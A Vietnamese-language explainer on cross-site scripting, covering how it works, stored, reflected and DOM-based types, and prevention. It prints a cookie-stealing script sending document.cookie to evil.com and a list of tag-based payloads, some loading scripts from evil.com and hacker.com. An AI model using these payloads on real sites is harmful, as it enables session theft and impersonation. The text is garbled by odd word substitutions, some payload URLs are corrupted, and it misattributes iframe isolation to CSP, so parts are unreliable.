Trong nhiều năm, lỗ hổng tràn bộ đệm là đích nhắm thú vị của những kẻ tấn công trực tuyến. Nhưng tới nay, cross-site scipting mới là thủ phạm lớn nhất gây ra những vụ phá hoại hệ thống.
Cross-site scripting (XSS) là một kiểu tấn công bảo mật trong đó kẻ tấn công đưa những tập lệnh độc hại vào phần nội dung của những trang web đáng tin cậy khác. Tấn công Cross-site scripting xảy ra lúc một nguồn ko đáng tin cậy được phép đưa code của chính nó vào một ứng dụng web và mã độc đó được bao gồm trong nội dung gửi tới trình duyệt của nạn nhân.
XSS là một trong những lỗ hổng ứng dụng web phổ biến nhất và xảy ra lúc một ứng dụng web sử dụng đầu vào từ người sử dụng ko được xác thực hoặc ko được mã hóa trong đầu ra mà nó tạo ra.
Bằng nhữngh tận dụng XSS, kẻ tấn công ko nhắm trực tiếp vào nạn nhân. Thay vào đó, kẻ tấn công sẽ khai thác lỗ hổng trong trang web hoặc ứng dụng web mà nạn nhân sẽ truy cập.
Mặc dù XSS với thể tận dụng lợi thế trong VBScript, ActiveX và Flash (hiện được coi là cũ hoặc thậm chí lỗi thời), nhưng phổ biến nhất vẫn là JavaScript – toàn bộ vì JavaScript là nền tảng cho hầu hết những trải nghiệm duyệt web.
Mục lục
- 1 Tìm hiểu về Cross-Site Scripting
- 2 Cách thức hoạt động của Cross-site Scripting
- 3 Điều tệ nhất mà kẻ tấn công với thể làm với JavaScript là gì?
- 4 Cross-site scripting ko phải là vấn đề của người sử dụng?
- 5 Phân tích khía cạnh một cuộc tấn công Cross-site scripting
- 6 Một số ví dụ về vectơ tấn công Cross-site Scripting
- 7 Các loại lỗ hổng XSS
- 8 Phương pháp ngăn chặn Cross-site scripting
Tìm hiểu về Cross-Site Scripting
Cách thức hoạt động của Cross-site Scripting
Để chạy code JavaScript độc hại trong trình duyệt của nạn nhân, trước tiên, kẻ tấn công phải tìm nhữngh truyền payload vào trang web mà nạn nhân truy cập. Tất nhiên, kẻ tấn công với thể sử dụng những kỹ thuật social engineering để thuyết phục người sử dụng truy cập trang đã bị tấn công đó.
Để một cuộc tấn công XSS diễn ra, trang web bị tấn công cần trực tiếp bao gồm đầu vào của người sử dụng trong những trang của mình. Kẻ tấn công sau đó với thể chèn một chuỗi sẽ được sử dụng trong trang web và được xử lý dưới dạng code bởi trình duyệt nạn nhân.
Mã giả phía máy chủ (server-side pseudo-code) này được sử dụng để hiển thị bình luận vừa rồi nhất trên trang web:
print "<html>"
print "<h1>Most recent comment</h1>"
print database.latestComment
print "</html>"
Tập lệnh sẽ in ra bình luận mới nhất từ cơ sở dữ liệu và in nội dung ra trang HTML, giả sử rằng bình luận được in ra chỉ bao gồm phần văn bản.
Trang trên dễ bị tấn công bởi XSS vì kẻ tấn công với thể gửi nhận xét với chứa payload độc hại, chẳng hạn như <script>doSomethingEvil();</script>.
Người sử dụng truy cập trang web sẽ được hiển thị trang HTML sau.
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
Khi trang load trong trình duyệt của nạn nhân, tập lệnh độc hại của kẻ tấn công sẽ thực thi, mà người đó ko hề hay biết và cũng ko thể ngăn chặn cuộc tấn công này.
Lưu ý rất cần thiết – Lỗ hổng XSS chỉ với thể tồn tại nếu payload (tập lệnh độc hại) mà kẻ tấn công chèn được phân tích (thành HTML trong trường hợp này) trong trình duyệt của nạn nhân.
Điều tệ nhất mà kẻ tấn công với thể làm với JavaScript là gì?
Hậu quả mà những gì kẻ tấn công với thể thực hiện với khả năng thực thi JavaScript trên trang web với thể ko dễ nhận thđó ngay, lạ lùng là lúc những trình duyệt chạy JavaScript trong môi trường được kiểm soát rất chặt chẽ và JavaScript đã giới hạn quyền truy cập vào nền tảng sử dụng và những file của người sử dụng.
Tuy nhiên, lúc xem xét những phần JavaScript với quyền truy cập, những điều kẻ tấn công với thể làm với JavaScript sẽ trở nên rõ ràng hơn:
- JavaScript độc hại với quyền truy cập vào tất cả những mục tiêu giống nhau trong phần còn lại của trang web, bao gồm quyền truy cập vào cookie. Cookie thường được sử dụng để lưu trữ mã token phiên, nếu kẻ tấn công với thể lđó cookie phiên của người sử dụng, chúng với thể mạo danh người đó.
- JavaScript với thể đọc và thực hiện những sửa đổi tùy ý đối với DOM của trình duyệt (trong trang mà JavaScript vận hành).
- JavaScript với thể sử dụng XMLHttpRequest để gửi những yêu cầu HTTP với nội dung tùy ý tới những đích khác nhau.
- JavaScript trong những trình duyệt tiên tiến với thể tận dụng những API HTML5 để truy cập vị trí địa lý, webcam, micro và thậm chí những file cụ thể từ hệ thống file của người sử dụng. Mặc dù hầu hết những API này yêu cầu người sử dụng chấp nhận, nhưng XSS kết hợp với một số kỹ thuật social engineering thông minh với thể mang lại cho kẻ tấn công nhiều lợi thế.
XSS, kết hợp với social engineering, cho phép kẻ tấn công thực hiện những cuộc tấn công nguy hiểm hơn, bao gồm lđó cắp cookie, keylogging, phishing và lđó cắp danh tính.
Cross-site scripting ko phải là vấn đề của người sử dụng?
Nếu kẻ tấn công với thể lợi dụng lỗ hổng XSS trên trang web để thực thi JavaScript tùy ý trong trình duyệt của khách truy cập, thì bảo mật của trang web, ứng dụng web đó, cũng như người sử dụng của nó đã gặp nguy hiểm. XSS ko phải là vấn đề của người sử dụng, như mọi lỗ hổng bảo mật khác. Nếu nó ảnh hưởng tới người sử dụng của một trang web, thì tức là nó sẽ ảnh hưởng tới chính trang web đó.
Phân tích khía cạnh một cuộc tấn công Cross-site scripting
Một cuộc tấn công XSS cần ba “diễn viên” – trang web, nạn nhân và kẻ tấn công.
Trong ví dụ dưới đây, với thể giả định rằng mục tiêu của kẻ tấn công là mạo danh nạn nhân bằng nhữngh ăn cắp cookie của người đó. Việc gửi cookie tới máy chủ của kẻ tấn công với thể thực hiện bằng nhiều nhữngh khác nhau. Một trong số đó là để kẻ tấn công thực thi code JavaScript sau trong trình duyệt của nạn nhân thông qua lỗ hổng XSS.
<script>
window.location=“http://evil.com/?cookie=” + document.cookie
</script>
Hình dưới đây minh họa hướng dẫn từng bước của một cuộc tấn công XSS đơn thuần.
1. Kẻ tấn công truyền một payload vào cơ sở dữ liệu của trang web bằng nhữngh gửi một biểu mẫu tất nhiên một số JavaScript độc hại.
2. Nạn nhân gửi yêu cầu tới trang web.
3. Trang web hiển thị trên trình duyệt của nạn nhân với một phần nội dung HTML chứa payload của kẻ tấn công.
4. Trình duyệt của nạn nhân sẽ thực thi tập lệnh độc hại bên trong HTML. Trong trường hợp này, nó sẽ gửi cookie của nạn nhân tới máy chủ của kẻ tấn công. Kẻ tấn công thời điểm này chỉ cần trích xuất cookie của nạn nhân lúc yêu cầu HTTP chuyển tới máy chủ, sau đó kẻ tấn công với thể sử dụng cookie đánh cắp được để mạo danh nạn nhân.
Một số ví dụ về vectơ tấn công Cross-site Scripting
Sau đây là danh sách (ko đầy đủ) những vectơ tấn công XSS mà kẻ tấn công với thể sử dụng để xâm phạm bảo mật của trang web hoặc ứng dụng web thông qua một cuộc tấn công XSS.
Thẻ <script>
Thẻ <script> là payload XSS đơn thuần nhất. Thẻ script với thể tham chiếu code JavaScript bên ngoài hoặc nhúng code trong thẻ script.
<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>
Thẻ <body>
Payload XSS với thể được phân phối bên trong thẻ <body> bằng nhữngh sử dụng thuộc tính onload hoặc những thuộc tính khác như thuộc tính background.
<!-- onload attribute -->
<body onload=alert("XSS")>
<!-- background attribute -->
<body background="https://quantrimang.com/javascript:alert("XSS")">
Thẻ <img>
Một số trình duyệt sẽ thực thi JavaScript được tìm thđó trong <img>.
<!-- <img> tag XSS -->
<img src="https://quantrimang.com/javascript:alert("XSS");">
<!-- tag XSS using lesser-known attributes -->
<img dynsrc="https://quantrimang.com/javascript:alert("XSS')">
<img lowsrc="https://quantrimang.com/javascript:alert("XSS')">
Thẻ <iframe>
Thẻ <iframe> cho phép nhúng một trang HTML khác vào trang nguồn. Tuy nhiên, iFrame với thể chứa JavaScript. Điều rất cần thiết cần lưu ý là JavaScript trong iFrame ko với quyền truy cập vào DOM của trang nguồn do chính sách bảo mật nội dung (Content Security Policy – CSP) của trình duyệt. Tuy nhiên, iFrames vẫn là phương tiện rất hiệu quả để loại bỏ những cuộc tấn công Phishing.
<!-- <iframe> tag XSS -->
<iframe src=”http://evil.com/xss.html”>
Thẻ <input>
Trong một số trình duyệt, nếu thuộc tính type của thẻ <input> được đặt thành image, nó với thể được thao tác để nhúng tập lệnh.
<!-- <input> tag XSS -->
<input type="image" src="https://quantrimang.com/javascript:alert("XSS');">
Thẻ <link>
Thẻ <link>, thường được sử dụng để liên kết tới những biểu định kiểu bên ngoài, với thể chứa tập lệnh.
<!-- <link> tag XSS -->
<link rel="stylesheet" href="https://quantrimang.com/javascript:alert("XSS');">
Thẻ <table>
Thuộc tính background của thẻ table và thẻ td với thể được khai thác để tham chiếu tới tập lệnh thay vì hình ảnh.
<!-- <table> tag XSS -->
<table background="https://quantrimang.com/javascript:alert("XSS')">
<!-- <td> tag XSS -->
<td background="https://quantrimang.com/javascript:alert("XSS')">
Thẻ <div>
Thẻ <div>, tương tự như thẻ <table> và <td> cũng với thể chỉ định một background và do đó được nhúng tập lệnh.
<!-- <div> tag XSS -->
<div style="background-image: url(javascript:alert('XSS'))">
<!-- <div> tag XSS -->
<div style="width: expression(alert('XSS'));">
Thẻ <object>
Thẻ <object> với thể được sử dụng để đưa một trang bên ngoài vào tập lệnh.
<!-- <object> tag XSS -->
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
Các loại lỗ hổng XSS
Có ba loại lỗ hổng Cross-site scripting: Stored XSS, Reflected XSS và DOM-based XSS.
– Stored XSS là loại tấn công cross-site scripting gây thiệt hại nhiều nhất. Kẻ tấn công truyền một tập lệnh – còn được gọi là payload – được lưu trữ vĩnh viễn trên ứng dụng đích, chẳng hạn như cơ sở dữ liệu. Ví dụ, kẻ tấn công chèn một đoạn mã độc trên blog, trong một bài đăng trên diễn đàn hoặc trong trường bình luận.
Lúc này Payload XSS sẽ đóng vai trò như một phần của trang web lúc nạn nhân điều hướng tới trang web bị ảnh hưởng trong trình duyệt. Khi nạn nhân xem trang trên trình duyệt sẽ vô tình thực thi tập lệnh độc hại.
– Reflected XSS là loại lỗ hổng cross-site scripting phổ biến nhất. Trong kiểu tấn công này, kẻ tấn công phải chuyển payload cho nạn nhân. Do đó, tập lệnh payload của kẻ tấn công phải là một phần của yêu cầu được gửi tới máy chủ web và được phản chiếu lại để phản hồi HTTP, bao gồm payload từ yêu cầu HTTP.
Kẻ tấn công sử dụng email phishing và những phương pháp social engineering khác để dụ nạn nhân đưa ra yêu cầu tới máy chủ với chứa payload XSS. Nạn nhân sau đó thực thi tập lệnh độc hại bên trong trình duyệt. Vì Reflected XSS ko phải là một cuộc tấn công liên tục, nên kẻ tấn công phải cung cấp payload cho mỗi nạn nhân.
– DOM-based cross-site scripting là loại tấn công XSS tăng, với thể thực hiện được lúc tập lệnh phía máy khách của ứng dụng web ghi dữ liệu do người sử dụng cung cấp vào Document Object Model (DOM).
Sau đó, ứng dụng web sẽ đọc dữ liệu từ DOM và gửi nó tới trình duyệt. Nếu dữ liệu ko được xử lý chính xác, kẻ tấn công với thể đưa ra payload được lưu trữ như một phần của DOM. Payload sau đó sẽ thực thi lúc dữ liệu được đọc lại từ DOM.
Phương pháp ngăn chặn Cross-site scripting
Sau đây là những phương pháp phổ biến nhất để ngăn chặn Cross-site scripting:
- Escape đầu vào của người sử dụng là một nhữngh để ngăn những lỗ hổng XSS xuất hiện trong những ứng dụng. Điều này với nghĩa là lđó dữ liệu mà ứng dụng đã nhận được và đảm bảo an toàn trước lúc hiển thị nó cho người sử dụng. Escape input từ người sử dụng sẽ làm những ký tự rất cần thiết trong dữ liệu mà trang web nhận được ko bị hiểu là mã thực thi. Nhờ đó ngăn trình duyệt diễn giải những ký tự được sử dụng để báo hiệu bắt đầu hoặc kết thúc mã thực thi và dịch chúng thành “escaped”. Ví dụ, những ký tự như dấu ngoặc kép, dấu ngoặc đơn, dấu ngoặc vuông và một số dấu chấm câu khác đôi lúc được sử dụng để làm nổi bật mã thực thi. Escape những ký tự này với nghĩa là chuyển đổi chúng từ những ký tự đơn thành những chuỗi lúc trình duyệt biên dịch.
- Sàng lọc đầu vào của người sử dụng là một nhữngh khác để ngăn chặn những cuộc tấn công Cross-site scripting, lạ lùng hữu ích trên những trang web cho phép HTML markup. Phương pháp ngăn chặn này sẽ xóa sạch dữ liệu chứa những ký tự với khả năng thực thi, thay đổi đầu vào người sử dụng thành định dạng với thể chấp nhận và đảm bảo dữ liệu nhận được ko thể được hiểu là mã thực thi.
- Xác thực đầu vào đảm bảo việc ứng dụng hiển thị dữ liệu chính xác và ngăn dữ liệu độc hại gây hại cho trang web, cơ sở dữ liệu và người sử dụng. Xác thực đầu vào giúp ngăn XSS trong những biểu mẫu vì nó ngăn người sử dụng thêm những ký tự lạ lùng vào những trường nhập dữ liệu trang web bằng nhữngh từ chối yêu cầu. Xác thực đầu vào giúp giảm khả năng gây ảnh hưởng tiêu cực, nếu kẻ tấn công phát hiện ra một lỗ hổng XSS ở đâu đó.
Xem thêm:
Các bạn đang xem tin tức tại Sưu tầm 24h – Chúc những bạn một ngày vui vẻ
Từ khóa: lỗ hổng thú vị mới của hacker